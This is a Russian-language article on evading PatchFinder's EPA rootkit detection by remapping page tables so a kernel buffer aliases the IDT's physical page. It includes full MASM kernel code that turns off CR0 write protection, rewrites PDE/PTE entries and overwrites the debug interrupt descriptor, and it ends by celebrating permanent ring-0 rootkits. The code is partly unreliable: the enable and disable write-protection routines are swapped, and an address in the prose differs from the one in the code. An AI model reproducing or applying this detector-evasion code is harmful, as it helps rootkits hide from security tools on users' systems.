Введение
PatchFinder - изощренная диагностическая утилита, разработанная для детектирования руткитов. Она использует технику EPA (Анализ пути запуска) для нахождения руткитов.
Эта статья покажет как обойти защиту на основе ЕРА.
Метод
EPA базируется на пошаговом режиме отладки (флаг TF в EFLAGS) и использует дескриптор 0x01 в таблице дескрипторов прерываний (IDT). Для защиты от изменения адреса дескриптора 0x01 руткитом, EPA использует отладочные регистры (DR0, DR1).
Давайте заглянем в интеловский мануал: "Отладочные регистры DR0-DR3 содержат 32-битный линейный адрес точки останова (брекпойнта)".
Обратите внимание: ЛИНЕЙНЫЙ АДРЕС! В Windows 2000/XP используется механизм страничной трансляции,
который преобразует линейный адрес в физический.
Предположим, что базовый адрес IDT равен 0х8003F400 и содержится в регистре IDTR.
Тогда адрес дескриптора 0х01 в IDT равен 0х8003F408.
Интел о IDTR: "Базовый адрес является линейным адресом в байте 0 в
IDT".
Адрес Каталога страниц в Windows 2000/XP указан в регистре CR3 и отображается на линейный адрес 0хС300000. Линейный адрес делиться на Каталог, Таблицу и Смещение. Используя страничный механизм, описываемый в интеловском мануале, мы обнаружим, что ФИЗИЧЕСКИЙ адрес 0x8003F408 равняется 0х03F00.
Все, что нам надо сделать - создать буфер, получить указатель на этот буфер и изменить значения в Каталоге страниц и Таблице страниц таким образом, чтобы буфер указывал на физический адрес 0х03F00.
После этого можно писать в буфер (и это будет равносильно записи в
IDT) не боясь защитных механизмов! Отладочные регистры бесполезны для защиты памяти, т.к. они не защищают ФИЗИЧЕСКУЮ память.
Код
Далее идет исходный код, написанный на MASM v8.0.
Я люблю программировать на языке ассемблера :-).
Полный исходник лежит на www.rootkit.com.
;--- IDTR structure definition------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR
ENDS
;--------------------
BypassIDTProtection PROC
LOCAL dbgHandler:DWORD
LOCAL myIDT:DIDTR
LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD
LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD
LOCAL diffoffset:DWORD
pushad
; Выделяем память чтобы была выровнена по размеру страницы (4к)
invoke ExAllocatePool, NonPagedPoolMustSucceed, 01000h
mov varbase, eax
cli ; Отрубаем прерывания
invoke DisablePageProtection ; Для XP, старый трюк, используемый в Regmon
sidt myIDT
mov eax, myIDT.ibase
add eax, 08h
mov idtbase, eax ; idtbase = базовый адрес IDT + 8 байтов
and eax, 0FFC00000h ; Получим индекс IDT в каталоге страниц
shr eax, 22
shl eax, 2 ; Умножаем на четыре
mov ebx, 0c0300000h ; 0c0300000 = Каталог страниц
add ebx, eax ; ebx = [Каталог страниц + индекс IDT*4]
mov idtPDEaddr, ebx
mov eax, [ebx]
mov idtPDE, eax ; еax = запись в PDE для IDT
mov eax, idtbase
and eax, 0FFFh ; 0-12 биты IDT = смещение в странице
mov idtbaseoff, eax
mov eax, idtbase
shr eax, 12 ; Смещаем до 22 бита IDT
shl eax, 2 ; Умножаем на четыре
mov ebx, 0c0000000h ; 0c0000000 = начало Таблицы страниц
add ebx, eax
mov idtPTEaddr, ebx ; Запись в PTE для IDT
mov eax, [ebx]
mov idtPTE, eax ; Получаем значение по адресу записи IDT в PTE
mov eax, varbase
and eax, 0FFC00000h ; Получаем индекс varbase в Каталоге страниц
shr eax, 22
shl eax, 2
mov ebx, 0c0300000h
add ebx, eax
mov varPDEaddr, ebx
mov eax, [ebx]
mov varPDE, eax
mov eax, varbase
and eax, 0FFFh
mov varbaseoff, eax
mov eax, varbase
shr eax, 12
shl eax, 2
mov ebx, 0c0000000h
add ebx, eax
mov varPTEaddr, ebx
mov eax, [ebx]
mov varPTE, eax
mov eax, varPDEaddr ; изменяем значение в PDE на адрес
;дескриптора 0x01 в IDT
mov ebx, idtPDE
mov [eax], ebx
mov eax, varPTEaddr ; изменяем значение в PTE на адрес
;дескриптора 0х01 в IDT
mov ebx, idtPTE
mov [eax], ebx
mov ebx, idtbaseoff ; вычисляем смещение
mov eax, varbaseoff
sub ebx, eax
; Сейчас мы будем писАть в дескриптор 0х01 в IDT
; используя
линейный адрес, при котором
; отладочные регистры не сработают!
; Просто тест, который делает 0х01 бесполезным
mov eax, varbase
mov dword ptr [eax+ebx], 0deadbeefh
mov eax, varPDEaddr ; восстанавливаем старое значение
mov ebx, varPDE
mov [eax], ebx
mov eax, varPTEaddr ; восстанавливаем старое значение
mov ebx, varPTE
mov [eax], ebx
invoke EnablePageProtection ; устанавливаем флаг WP в регистре CR0
sti
popad
ret
BypassIDTProtection ENDP ;:: EnablePageProtection proc
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
ret
EnablePageProtection endp ;:: DisablePageProtection proc
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
ret
DisablePageProtection endp ;::
Будущее руткитов
К сожалению, метод, изложенный здесь, делает EPA бесполезным.
До тех пор, пока Micro$oft не изменит архитектуру защиты, ни один метод не остановит руткиты.
В будущем руткиты будут использовать страничный механизм по полной программе. Это даст им бесконечные
возможности.
Однажды в нулевом кольце - навсегда в нулевом кольце.
Оригинал: http://www.go2.fr/syn/index2.htm
